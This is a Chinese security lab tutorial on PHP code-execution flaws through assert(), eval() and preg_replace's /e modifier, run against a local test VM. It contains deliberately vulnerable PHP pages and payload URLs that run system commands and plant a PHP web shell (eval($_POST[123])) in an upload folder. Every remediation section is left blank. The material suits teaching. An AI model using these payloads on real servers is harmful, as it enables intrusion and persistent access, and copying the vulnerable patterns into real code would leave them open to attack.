我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、代码执行漏洞简介
1、代码执行漏洞概念:
当应WEB用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
2、代码执行函数:
PHP | python | Java |
---|---|---|
eval()、assert()、preg_replace() | exec() | 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等 |
二、代码执行漏洞利用
1、动态代码执行漏洞
(1)实验环境:
1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2)PHP 5.5.9-1ubuntu4.27
(3)Apache/2.4.7 (ubuntu)
2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.webtester.com/code/code01.php?a=assert&b=m_print()
(3)漏洞描述:
1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?
(4)漏洞分析:
1.0 漏洞点:code01.php
1.1 关键源码分析:code01.php
<?php
function m_print(){
echo '这是一个页面';
}
$_GET['a']($_GET['b']);
?>
1.2 漏洞分析:
1.使用哪个代码执行函数?
可以自己控制
2.以什么方式调用代码执行函数中的字符串?
以动态变量引入的方式调用代码执行函数中的字符串
3.用户对转化为代码的字符串是否可控?
完全可控
(5)漏洞利用:
1.0 测试: assert 可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等。
payload-1:http://www.webtester.com/code/code01.php?a=assert&b=phpinfo()
payload-2:http://www.webtester.com/code/code01.php?a=assert&b=system(id)
payload-3:http://www.webtester.com/code/code01.php?a=assert&b=var_dump(qwsn)
payload-4:http://www.webtester.com/code/code01.php?a=assert&b=fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>")
(6)漏洞修复:
略
(7)漏洞总结:
1.使用哪个代码执行函数?
可以自己控制
2.以什么方式调用代码执行函数中的字符串?
以动态变量引入的方式调用代码执行函数中的字符串
3.用户对转化为代码的字符串是否可控?
完全可控
4.assert代码执行函数的使用
assert(phpinfo());
assert(system(id));
assert(var_dump(qwsn));
assert(fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>"));
5.一句话中需要添加一个反斜杠,否则写不进入
eval(\$_POST[123]);?>");
2、eval代码执行漏洞
(1)实验环境:
1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2)PHP 5.5.9-1ubuntu4.27
(3)Apache/2.4.7 (ubuntu)
2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.webtester.com/code/code02.php?data=%E6%9A%97%E6%9C%88%E5%9F%B9%E8%AE%AD%E7%B3%BB%E7%BB%9F
(3)漏洞描述:
1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?
(4)漏洞分析:
1.0 漏洞点:code02.php
1.1 关键源码分析:code02.php
<?php
$data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';
@eval($ret = $data);
echo $ret;
?>
1.2 漏洞分析:
1.使用哪个代码执行函数?
eval()代码执行函数
2.以什么方式调用代码执行函数中的字符串?
以动态变量引入的方式调用代码执行函数中的字符串
3.用户对转化为代码的字符串是否可控?
完全可控
(5)漏洞利用:
1.0 测试:eval可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等,需要注意,与assert不同的是,eval()函数内的函数必须要以分号结尾,否则无效。
payload-1:http://www.webtester.com/code/code02.php?data=phpinfo();
payload-2:http://www.webtester.com/code/code02.php?data=system(id);
payload-3:http://www.webtester.com/code/code02.php?data=var_dump(qwsn);
payload-4:http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell2.php","a"),"<?php phpinfo();eval($_POST[123]);?>");
(6)漏洞修复:
略
(7)漏洞总结:
1.使用哪个代码执行函数?
eval()代码执行函数
2.以什么方式调用代码执行函数中的字符串?
以动态变量引入的方式调用代码执行函数中的字符串
3.用户对转化为代码的字符串是否可控?
完全可控
4.assert代码执行函数的使用
eval(phpinfo(););
eval(system(id););
eval(var_dump(qwsn););
eval(fputs(fopen("../upload/shell2.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>"););
5.一句话中需要添加一个反斜杠,否则写不进入
eval(\$_POST[123]);?>");
6.eval与assert不同的是,其内部的函数需要使用分号结尾,否则无效果。
eval(phpinfo(););
assert(phpinfo());
3、正则代码执行漏洞
(1)实验环境:
1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2)PHP 5.5.9-1ubuntu4.27
(3)Apache/2.4.7 (ubuntu)
2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite
3.实验网络:
(1)Vmware的NAT连接
(2)靶机链接:
http://www.webtester.com/code/code03.php
(3)漏洞描述:
1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?
(4)漏洞分析:
1.0 漏洞点:code03.php
1.1 关键源码分析:code03.php
<?php
$data = $_GET['data'];
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);
?>
<form>
<label>请输入你的数据</label>
<input type='text' name='data'/>
<input type='submit' value='提交'/>
</form>
1.2 漏洞分析:
1.使用哪个代码执行函数?
preg_replace()代码执行函数
2.以什么方式调用代码执行函数中的字符串?
以动态变量引入的方式调用代码执行函数中的字符串
3.用户对转化为代码的字符串是否可控?
部分可控
1.3 preg_replace /e修正符的危险: 传送门1、 传送门2
(5)漏洞利用:
1.0 测试:preg_replace可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等。
payload-1:http://www.webtester.com/code/code03.php?data=<data>{${phpinfo()}}</data>
payload-1:http://www.webtester.com/code/code03.php?data=<data>{${system(id)}}</data>
payload-1:http://www.webtester.com/code/code03.php?data=<data>{${var_dump(qwsn)}}</data>
payload-1:http://www.webtester.com/code/code03.php?data=<data>{${fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>")}}</data>
【失败】
(6)漏洞修复:
略
(7)漏洞总结:
1.使用哪个代码执行函数?
eval()代码执行函数
2.以什么方式调用代码执行函数中的字符串?
以动态变量引入的方式调用代码执行函数中的字符串
3.用户对转化为代码的字符串是否可控?
完全可控
4.assert代码执行函数的使用
前提:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);
姿势1:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${phpinfo()}}</data>');
姿势2:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${system(id)}}</data>');
姿势3:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${var_dump(qwsn)}}</data>');